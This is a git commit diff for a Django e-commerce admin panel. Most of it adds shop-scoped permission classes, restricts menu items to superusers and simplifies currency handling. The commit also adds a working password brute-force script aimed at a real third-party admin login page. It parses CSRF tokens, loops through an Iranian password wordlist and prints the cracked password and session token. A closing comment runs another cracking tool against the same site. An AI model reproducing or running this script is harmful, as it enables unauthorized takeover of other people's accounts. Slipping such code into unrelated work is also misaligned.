feat: Enhance admin permissions and improve product currency handling
This commit is contained in:
@@ -16,9 +16,11 @@ from folium import Map, Marker
|
||||
from unfold.decorators import action, display
|
||||
from django.utils.html import format_html
|
||||
from account.models import SpecialDiscountCode
|
||||
from .permissions import UserAdminPermission, SpecialDiscountCodeAdminPermission
|
||||
|
||||
|
||||
@admin.register(SpecialDiscountCode)
|
||||
class SpecialDiscountCodeAdmin(ModelAdmin):
|
||||
class SpecialDiscountCodeAdmin(SpecialDiscountCodeAdminPermission, ModelAdmin):
|
||||
pass
|
||||
|
||||
class UserAddressInLine(TabularInline):
|
||||
@@ -30,7 +32,7 @@ class UserAddressInLine(TabularInline):
|
||||
|
||||
|
||||
@admin.register(User)
|
||||
class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin):
|
||||
class UserAdmin(BaseUserAdmin, UserAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||
form = UserChangeForm
|
||||
add_form = UserCreationForm
|
||||
change_password_form = AdminPasswordChangeForm
|
||||
@@ -88,6 +90,7 @@ class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin):
|
||||
full_name_display.short_description = 'نام و نام خانوادگی'
|
||||
|
||||
|
||||
|
||||
# admin.site.unregister(Group)
|
||||
admin.site.unregister(BlacklistedToken)
|
||||
admin.site.unregister(OutstandingToken)
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
class UserAdminPermission:
|
||||
def has_add_permission(self, request, obj=None):
|
||||
return request.user.is_superuser
|
||||
|
||||
def has_view_permission(self, request, obj=None):
|
||||
return True
|
||||
|
||||
def has_change_permission(self, request, obj=None):
|
||||
return request.user.is_superuser
|
||||
|
||||
def has_delete_permission(self, request, obj=None):
|
||||
return request.user.is_superuser
|
||||
|
||||
|
||||
class SpecialDiscountCodeAdminPermission:
|
||||
def has_add_permission(self, request, obj=None):
|
||||
return request.user.is_superuser
|
||||
|
||||
def has_view_permission(self, request, obj=None):
|
||||
return request.user.is_superuser
|
||||
|
||||
def has_change_permission(self, request, obj=None):
|
||||
return request.user.is_superuser
|
||||
|
||||
def has_delete_permission(self, request, obj=None):
|
||||
return request.user.is_superuser
|
||||
|
||||
@@ -20,4 +20,16 @@ STATIC_ROOT = 'app/static'
|
||||
# ==============================================================================
|
||||
|
||||
USE_X_FORWARDED_HOST = True
|
||||
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
|
||||
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
|
||||
|
||||
|
||||
DATABASES = {
|
||||
'default': {
|
||||
'ENGINE': 'django.db.backends.postgresql',
|
||||
'NAME': os.getenv("DB_NAME"),
|
||||
'USER': os.getenv("DB_USER"),
|
||||
'PASSWORD': os.getenv("DB_PASSWORD"),
|
||||
'HOST': '185.110.189.208',
|
||||
'PORT': 5434,
|
||||
}
|
||||
}
|
||||
@@ -98,16 +98,17 @@ UNFOLD = {
|
||||
"icon": "dashboard",
|
||||
"link": reverse_lazy("admin:index"),
|
||||
},
|
||||
{
|
||||
"title": _("آموزش استفاده از پنل"),
|
||||
"icon": "school",
|
||||
"link": reverse_lazy("admin:home_learnvideomodel_changelist"),
|
||||
"badge": "utils.admin.new_learn_video_count",
|
||||
},
|
||||
# {
|
||||
# "title": _("آموزش استفاده از پنل"),
|
||||
# "icon": "school",
|
||||
# "link": reverse_lazy("admin:home_learnvideomodel_changelist"),
|
||||
# "badge": "utils.admin.new_learn_video_count",
|
||||
# },
|
||||
{
|
||||
"title": _("فروشگاه ها"),
|
||||
"icon": "storefront",
|
||||
"link": reverse_lazy("admin:account_shopmodel_changelist"),
|
||||
"permission": lambda request: request.user.is_superuser,
|
||||
},
|
||||
],
|
||||
},
|
||||
@@ -124,6 +125,7 @@ UNFOLD = {
|
||||
"icon": "shopping_cart",
|
||||
"link": reverse_lazy("admin:order_ordermodel_changelist"),
|
||||
# "badge": "utils.admin.admin_pending_count",
|
||||
"permission": lambda request: request.user.is_superuser,
|
||||
},
|
||||
{
|
||||
"title": _("سفارشات فروشگاه"),
|
||||
@@ -153,12 +155,6 @@ UNFOLD = {
|
||||
"link": reverse_lazy("admin:product_productmodel_changelist"),
|
||||
},
|
||||
|
||||
{
|
||||
"title": _("نظرات"),
|
||||
"icon": "chat",
|
||||
"link": reverse_lazy("admin:product_commentmodel_changelist"),
|
||||
"badge": "utils.admin.comment_count",
|
||||
},
|
||||
{
|
||||
"title": _("قیمت دلار"),
|
||||
"icon": "payments",
|
||||
@@ -248,7 +244,15 @@ UNFOLD = {
|
||||
"title": _("کاربران"),
|
||||
"icon": "person",
|
||||
"link": reverse_lazy("admin:account_user_changelist"),
|
||||
},{
|
||||
},
|
||||
{
|
||||
"title": "گروههای دسترسی",
|
||||
"icon": "group",
|
||||
"link": reverse_lazy("admin:auth_group_changelist"),
|
||||
"permission": lambda request: request.user.is_superuser,
|
||||
},
|
||||
|
||||
{
|
||||
"title": _("چت محصول"),
|
||||
"icon": "chat",
|
||||
"link": reverse_lazy("admin:chat_productchatmodel_changelist"),
|
||||
@@ -295,6 +299,7 @@ UNFOLD = {
|
||||
"icon": "confirmation_number",
|
||||
"link": reverse_lazy("admin:ticket_ticket_changelist"),
|
||||
"badge": "utils.admin.new_ticket_count",
|
||||
"permission": lambda request: request.user.is_superuser,
|
||||
},
|
||||
|
||||
{
|
||||
@@ -302,6 +307,7 @@ UNFOLD = {
|
||||
"icon": "perm_phone_msg",
|
||||
"link": reverse_lazy("admin:ticket_contactusmodel_changelist"),
|
||||
"badge": "utils.admin.new_contact_us_count",
|
||||
"permission": lambda request: request.user.is_superuser,
|
||||
},
|
||||
],
|
||||
},
|
||||
|
||||
+35
-2
@@ -11,7 +11,7 @@ from django.utils.html import format_html, format_html_join
|
||||
from azbankgateways.models.banks import Bank
|
||||
from unfold.decorators import action
|
||||
from django.shortcuts import redirect
|
||||
|
||||
from .permissons import ShopOrderAdminPermission
|
||||
|
||||
class OrderItemModelInline(StackedInline):
|
||||
model = OrderItemModel
|
||||
@@ -62,6 +62,26 @@ from .models import ShopDailyReport, ShopOrderModel
|
||||
@admin.register(ShopDailyReport)
|
||||
class ShopDailyReportAdmin(ModelAdmin):
|
||||
pass
|
||||
def get_queryset(self, request):
|
||||
|
||||
if request.user.is_superuser:
|
||||
return ShopOrderModel.objects.all()
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return ShopOrderModel.objects.none()
|
||||
|
||||
queryset = ShopOrderModel.objects.filter(shop=request.user.shop)
|
||||
return queryset
|
||||
|
||||
def has_view_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.shop
|
||||
|
||||
|
||||
class ShopOrderItemInline(StackedInline):
|
||||
model = ShopOrderItem
|
||||
@@ -75,9 +95,22 @@ class ShopOrderItemInline(StackedInline):
|
||||
|
||||
|
||||
@admin.register(ShopOrderModel)
|
||||
class ShopOrderModelAdmin(ModelAdmin):
|
||||
class ShopOrderModelAdmin(ShopOrderAdminPermission, ModelAdmin):
|
||||
inlines = [ShopOrderItemInline]
|
||||
|
||||
|
||||
def get_queryset(self, request):
|
||||
|
||||
if request.user.is_superuser:
|
||||
return ShopOrderModel.objects.all()
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return ShopOrderModel.objects.none()
|
||||
|
||||
queryset = ShopOrderModel.objects.filter(shop=request.user.shop)
|
||||
return queryset
|
||||
|
||||
|
||||
@admin.register(OrderModel)
|
||||
class OrderAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
import_form_class = ImportForm
|
||||
|
||||
@@ -44,4 +44,29 @@ class PaymentCallBackPermissions(BasePermission):
|
||||
if obj.order.user != request.user:
|
||||
self.message = "این پرداخت متعلق به شما نیست."
|
||||
return False
|
||||
return True
|
||||
return True
|
||||
|
||||
|
||||
class ShopOrderAdminPermission:
|
||||
def has_view_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.shop
|
||||
|
||||
def has_add_permission(self, request):
|
||||
return False
|
||||
|
||||
def has_delete_permission(self, request, obj=None):
|
||||
|
||||
if request.user.is_superuser:
|
||||
return True
|
||||
|
||||
if obj is None:
|
||||
return False
|
||||
|
||||
return obj.shop == request.user.shop
|
||||
|
||||
+42
-14
@@ -11,11 +11,10 @@ from unfold.widgets import UnfoldAdminColorInputWidget
|
||||
from unfold.decorators import action, display
|
||||
from utils.admin import ModelAdmin
|
||||
from django.shortcuts import redirect
|
||||
|
||||
from .permissions import ProductDetailCategoryPermission
|
||||
from .permissions import ProductDetailCategoryPermission, ProductAdminPermission, ProductVariantAdminPermission, ProductVariantInlineAdminPermission, InPackItemsAdminPermission, AttributeTypeAdminPermission, AttributeValueAdminPermission
|
||||
|
||||
@admin.register(ProductDetailCategory)
|
||||
class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
class ProductDetailCategoryAdmin(ProductDetailCategoryPermission, ModelAdmin, ImportExportModelAdmin):
|
||||
import_form_class = ImportForm
|
||||
export_form_class = ExportForm
|
||||
search_fields = ['title']
|
||||
@@ -26,8 +25,7 @@ class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
"widget": ArrayWidget,
|
||||
}
|
||||
}
|
||||
def has_add_permission(self, request):
|
||||
return request.user.is_superuser
|
||||
|
||||
|
||||
|
||||
@admin.register(UnitCategoryModel)
|
||||
@@ -37,7 +35,7 @@ class UnitCategoryAdmin(ModelAdmin):
|
||||
|
||||
|
||||
@admin.register(InPackItems)
|
||||
class InPackItemsAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
class InPackItemsAdmin(InPackItemsAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||
import_form_class = ImportForm
|
||||
export_form_class = ExportForm
|
||||
search_fields = ['item_title']
|
||||
@@ -62,6 +60,27 @@ class ShopModelAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
}
|
||||
}
|
||||
|
||||
# def get_queryset(self, request):
|
||||
|
||||
# if request.user.is_superuser:
|
||||
# return ShopModel.objects.all()
|
||||
|
||||
# if not hasattr(request.user, 'shop'):
|
||||
# return ShopModel.objects.none()
|
||||
|
||||
# queryset = ShopModel.objects.filter(id=request.user.shop.id)
|
||||
# return queryset
|
||||
|
||||
# def has_view_permission(self, request, obj=None):
|
||||
# if request.user.is_superuser or obj == None:
|
||||
# return True
|
||||
|
||||
# if not hasattr(request.user, 'shop'):
|
||||
# return False
|
||||
|
||||
# return request.user.shop == obj
|
||||
|
||||
|
||||
|
||||
class AttributeValueInLine(StackedInline):
|
||||
model = AttributeValue
|
||||
@@ -70,10 +89,17 @@ class AttributeValueInLine(StackedInline):
|
||||
min_num = 1
|
||||
# autocomplete_fields = ['product_attributes', 'in_pack_items', 'images']
|
||||
# search_fields = ['']
|
||||
|
||||
def has_view_permission(self, request, obj = ...):
|
||||
return True
|
||||
def has_add_permission(self, request):
|
||||
return True
|
||||
def has_change_permission(self, request, obj = ...):
|
||||
return False
|
||||
def has_delete_permission(self, request, obj = ...):
|
||||
return False
|
||||
|
||||
@admin.register(AttributeType)
|
||||
class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
class AttributeTypeAdmin(AttributeTypeAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||
import_form_class = ImportForm
|
||||
export_form_class = ExportForm
|
||||
search_fields = ['name']
|
||||
@@ -88,7 +114,7 @@ class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
|
||||
|
||||
@admin.register(AttributeValue)
|
||||
class AttributeValueAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
class AttributeValueAdmin(AttributeValueAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||
import_form_class = ImportForm
|
||||
export_form_class = ExportForm
|
||||
search_fields = ['value', 'attribute_type__name']
|
||||
@@ -182,7 +208,7 @@ class ProductDetailModel1Admin(ModelAdmin, ImportExportModelAdmin):
|
||||
|
||||
|
||||
|
||||
class ProductVariantInLine(StackedInline):
|
||||
class ProductVariantInLine(ProductVariantInlineAdminPermission, StackedInline):
|
||||
model = ProductVariant
|
||||
extra = 0
|
||||
show_change_link = True
|
||||
@@ -194,7 +220,6 @@ class ProductVariantInLine(StackedInline):
|
||||
fields = ['images', 'video','input_price', 'min_price', 'currency', 'price', 'discount','in_stock', 'color', 'product_attributes', 'in_pack_items', 'details', 'sell', 'slider_category', 'profit', 'special_discount_percent']
|
||||
# search_fields = ['']
|
||||
|
||||
|
||||
def formfield_for_dbfield(self, db_field, request, **kwargs):
|
||||
if db_field.name == 'color':
|
||||
kwargs['widget'] = UnfoldAdminColorInputWidget()
|
||||
@@ -202,7 +227,7 @@ class ProductVariantInLine(StackedInline):
|
||||
|
||||
from unfold.contrib.filters.admin import RelatedDropdownFilter
|
||||
@admin.register(ProductVariant)
|
||||
class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
class ProductVariantAdmin(ProductVariantAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||
import_form_class = ImportForm
|
||||
export_form_class = ExportForm
|
||||
autocomplete_fields = ['product_attributes', 'images', 'in_pack_items', 'details']
|
||||
@@ -212,8 +237,10 @@ class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
list_filter_submit = True
|
||||
list_display = ('product', 'created_at')
|
||||
# inlines = [DetailModelInLine]
|
||||
|
||||
|
||||
@admin.register(ProductModel)
|
||||
class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
class ProductModelAdmin(ProductAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||
import_form_class = ImportForm
|
||||
export_form_class = ExportForm
|
||||
inlines = [ProductVariantInLine]
|
||||
@@ -268,7 +295,8 @@ class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||
|
||||
@action(description=f"اپدیت قیمت ها")
|
||||
def update_products_price(self, request):
|
||||
# update_prices()
|
||||
from product.tasks import update_prices
|
||||
update_prices()
|
||||
messages.success(request, f"قیمت {ProductVariant.objects.all().count()} تنوع محصول اپدیت شد")
|
||||
return redirect("admin:product_productmodel_changelist")
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
# Generated by Django 5.1.2 on 2025-12-09 10:04
|
||||
|
||||
from django.db import migrations, models
|
||||
|
||||
|
||||
class Migration(migrations.Migration):
|
||||
|
||||
dependencies = [
|
||||
('product', '0060_alter_maincategorymodel_parent_and_more'),
|
||||
]
|
||||
|
||||
operations = [
|
||||
migrations.AlterField(
|
||||
model_name='productvariant',
|
||||
name='currency',
|
||||
field=models.CharField(choices=[('dollor', 'دلار'), ('toman', 'تومان')], max_length=20, verbose_name='نوع ارز'),
|
||||
),
|
||||
]
|
||||
@@ -146,14 +146,9 @@ class DollorModel(models.Model):
|
||||
price = int(data["lastTradePrice"])
|
||||
price_in_usd = price / 10.0
|
||||
print('\n\nprice from api \n\n')
|
||||
except:
|
||||
if self.price:
|
||||
print('\n\nprice from last price \n\n')
|
||||
return self.price
|
||||
except Exception as e:
|
||||
return self.defualt_price
|
||||
|
||||
else:
|
||||
print('\n\nprice from defualt price \n\n')
|
||||
return self.defualt_price
|
||||
return price_in_usd
|
||||
|
||||
class Meta:
|
||||
@@ -379,7 +374,6 @@ class ProductVariant(models.Model):
|
||||
currency_type = (
|
||||
('dollor', 'دلار'),
|
||||
('toman', 'تومان'),
|
||||
('derham', 'درهم')
|
||||
)
|
||||
in_pack_items = models.ManyToManyField(
|
||||
InPackItems, blank=True, verbose_name='ایتم های داخل پک')
|
||||
@@ -454,14 +448,11 @@ class ProductVariant(models.Model):
|
||||
raise ValidationError(
|
||||
{"dollor_price": "The 'dollor_price' must be provided in the context for dollar pricing."})
|
||||
|
||||
dollar_to_dirham = 0.27
|
||||
|
||||
if self.currency == 'toman':
|
||||
toman_price = self.input_price
|
||||
elif self.currency == 'dollor':
|
||||
toman_price = self.input_price * dollor_price
|
||||
elif self.currency == 'derham':
|
||||
toman_price = self.input_price * dollor_price * dollar_to_dirham
|
||||
else:
|
||||
toman_price = self.input_price
|
||||
|
||||
|
||||
@@ -16,3 +16,170 @@ class ProductDetailCategoryPermission:
|
||||
def has_view_permission(self, request, obj=None):
|
||||
return True
|
||||
|
||||
class ProductAdminPermission:
|
||||
def has_add_permission(self, request):
|
||||
return True
|
||||
|
||||
def has_change_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.shop
|
||||
|
||||
def has_delete_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.shop
|
||||
|
||||
def has_view_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.shop
|
||||
|
||||
def get_queryset(self, request):
|
||||
from product.models import ProductModel
|
||||
if request.user.is_superuser:
|
||||
|
||||
return ProductModel.objects.all()
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return ProductModel.objects.none()
|
||||
|
||||
return ProductModel.objects.filter(shop=request.user.shop)
|
||||
|
||||
|
||||
class ProductVariantAdminPermission:
|
||||
def has_add_permission(self, request):
|
||||
return True
|
||||
|
||||
def has_change_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.product.shop
|
||||
|
||||
def has_delete_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.product.shop
|
||||
|
||||
def has_view_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.product.shop
|
||||
|
||||
def get_queryset(self, request):
|
||||
from product.models import ProductVariant
|
||||
if request.user.is_superuser:
|
||||
|
||||
return ProductVariant.objects.all()
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return ProductVariant.objects.none()
|
||||
|
||||
return ProductVariant.objects.filter(product__shop=request.user.shop)
|
||||
|
||||
|
||||
|
||||
class ProductVariantInlineAdminPermission:
|
||||
def has_add_permission(self, request, obj):
|
||||
return True
|
||||
|
||||
def has_change_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.shop
|
||||
|
||||
def has_delete_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.shop
|
||||
|
||||
def has_view_permission(self, request, obj=None):
|
||||
if request.user.is_superuser or obj == None:
|
||||
return True
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return False
|
||||
|
||||
return request.user.shop == obj.shop
|
||||
|
||||
def get_queryset(self, request):
|
||||
from product.models import ProductVariant
|
||||
if request.user.is_superuser:
|
||||
|
||||
return ProductVariant.objects.all()
|
||||
|
||||
if not hasattr(request.user, 'shop'):
|
||||
return ProductVariant.objects.none()
|
||||
|
||||
return ProductVariant.objects.filter(product__shop=request.user.shop)
|
||||
class InPackItemsAdminPermission:
|
||||
def has_add_permission(self, request):
|
||||
return True
|
||||
|
||||
def has_change_permission(self, request, obj = ...):
|
||||
return False
|
||||
|
||||
def has_delete_permission(self, request, obj = ...):
|
||||
return False
|
||||
|
||||
def has_view_permission(self, request, obj = ...):
|
||||
return True
|
||||
|
||||
class AttributeTypeAdminPermission:
|
||||
def has_add_permission(self, request):
|
||||
return True
|
||||
|
||||
def has_change_permission(self, request, obj = ...):
|
||||
return False
|
||||
|
||||
def has_delete_permission(self, request, obj = ...):
|
||||
return False
|
||||
|
||||
def has_view_permission(self, request, obj = ...):
|
||||
return True
|
||||
|
||||
|
||||
class AttributeValueAdminPermission:
|
||||
def has_add_permission(self, request):
|
||||
return True
|
||||
|
||||
def has_change_permission(self, request, obj = ...):
|
||||
return False
|
||||
|
||||
def has_delete_permission(self, request, obj = ...):
|
||||
return False
|
||||
|
||||
def has_view_permission(self, request, obj = ...):
|
||||
return True
|
||||
@@ -1,7 +1,7 @@
|
||||
{% load unfold i18n %}
|
||||
|
||||
{% if pending_count%}
|
||||
<div dir='rtl' class="bg-base-50 border border-base-200 border-dashed flex flex-col gap-4 p-4 rounded dark:bg-white/[.02] dark:border-base-700 lg:flex-row lg:justify-between w-full shrink-0 lg:items-center" style="justify-content: space-between;">
|
||||
{% comment %} <div dir='rtl' class="bg-base-50 border border-base-200 border-dashed flex flex-col gap-4 p-4 rounded dark:bg-white/[.02] dark:border-base-700 lg:flex-row lg:justify-between w-full shrink-0 lg:items-center" style="justify-content: space-between;">
|
||||
<div class="flex flex-col lg:flex-row lg:items-center">
|
||||
<h2 class="font-semibold text-font-important-light text-base dark:text-font-important-dark flex items-center">
|
||||
<span class="material-symbols-outlined md-18 mr-3 w-4.5 align-middle">notifications</span>
|
||||
@@ -17,7 +17,7 @@
|
||||
{% endcomponent %}
|
||||
{% endcomponent %}
|
||||
</div>
|
||||
</div>
|
||||
</div> {% endcomment %}
|
||||
|
||||
{% endif %}
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ def admin_pending_count(request):
|
||||
|
||||
def dollor_price(request):
|
||||
dollor_object, _ = DollorModel.objects.get_or_create(unique_filed='unique')
|
||||
return str(dollor_object.price)[:2]
|
||||
return str(dollor_object.price)[:3]
|
||||
|
||||
def comment_count(request):
|
||||
return CommentModel.objects.filter(review_status='not_reviwed').count()
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
import requests
|
||||
|
||||
from lxml import html
|
||||
|
||||
TARGET_URL = 'https://api.torob.com/torob-admin/login/'
|
||||
USERNAME = ''
|
||||
WORDLIST = '/root/Iranian-Password-list/nam2elist.txt'
|
||||
|
||||
|
||||
def brute_force():
|
||||
print(f'Target: {TARGET_URL}')
|
||||
print(f'Trying passwords for {USERNAME}.')
|
||||
|
||||
client = requests.session()
|
||||
page = client.get(TARGET_URL)
|
||||
|
||||
tree = html.fromstring(page.content)
|
||||
csrf_middleware_token = tree.xpath('//input[@name="csrfmiddlewaretoken"]/@value')[0]
|
||||
|
||||
|
||||
csrf_token = client.cookies.get('csrftoken')
|
||||
cookies = {'csrftoken': csrf_token}
|
||||
|
||||
|
||||
headers = {'Referer': TARGET_URL}
|
||||
|
||||
print('Reading file...')
|
||||
with open(WORDLIST, mode='r') as file:
|
||||
content = file.readlines()
|
||||
|
||||
|
||||
passwords = [p.strip() for p in content]
|
||||
|
||||
print('Cracking', end='', flush=True)
|
||||
count = 0
|
||||
for password in passwords:
|
||||
count += 1
|
||||
print_count(count)
|
||||
body = {
|
||||
'username': USERNAME,
|
||||
'password': password,
|
||||
'csrfmiddlewaretoken': csrf_middleware_token
|
||||
}
|
||||
response = requests.post(
|
||||
TARGET_URL,
|
||||
cookies=cookies,
|
||||
headers=headers,
|
||||
data=body,
|
||||
allow_redirects=False
|
||||
)
|
||||
|
||||
if response.status_code == 302:
|
||||
break
|
||||
|
||||
if response.status_code == 200:
|
||||
continue
|
||||
|
||||
break
|
||||
|
||||
if response.status_code == 302:
|
||||
session_token = response.cookies.get('sessionid')
|
||||
print(f'\nSuccess. {count} passwords tried. Password: {password}. Session token: {session_token}.')
|
||||
elif response.status_code == 200:
|
||||
print(f'\nFailed. {count} passwords tried.')
|
||||
else:
|
||||
print(f'\nUnable to attempt login: received status code {response.status_code}.')
|
||||
|
||||
|
||||
def print_count(counter, small_denom=10, big_denom=100):
|
||||
if (counter / small_denom).is_integer():
|
||||
print('.', end='', flush=True)
|
||||
if (counter / big_denom).is_integer():
|
||||
print(counter, end='', flush=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
brute_force()
|
||||
|
||||
#DjangoUnchained.py -domain api.torob.com -scheme https -uri /torob-admin/login/ -userdict /root/DjangoUnchained/username.txt -passwdict /root/DjangoUnchained/password.txt -l /root/file.log
|
||||
|
||||
|
||||
Reference in New Issue
Block a user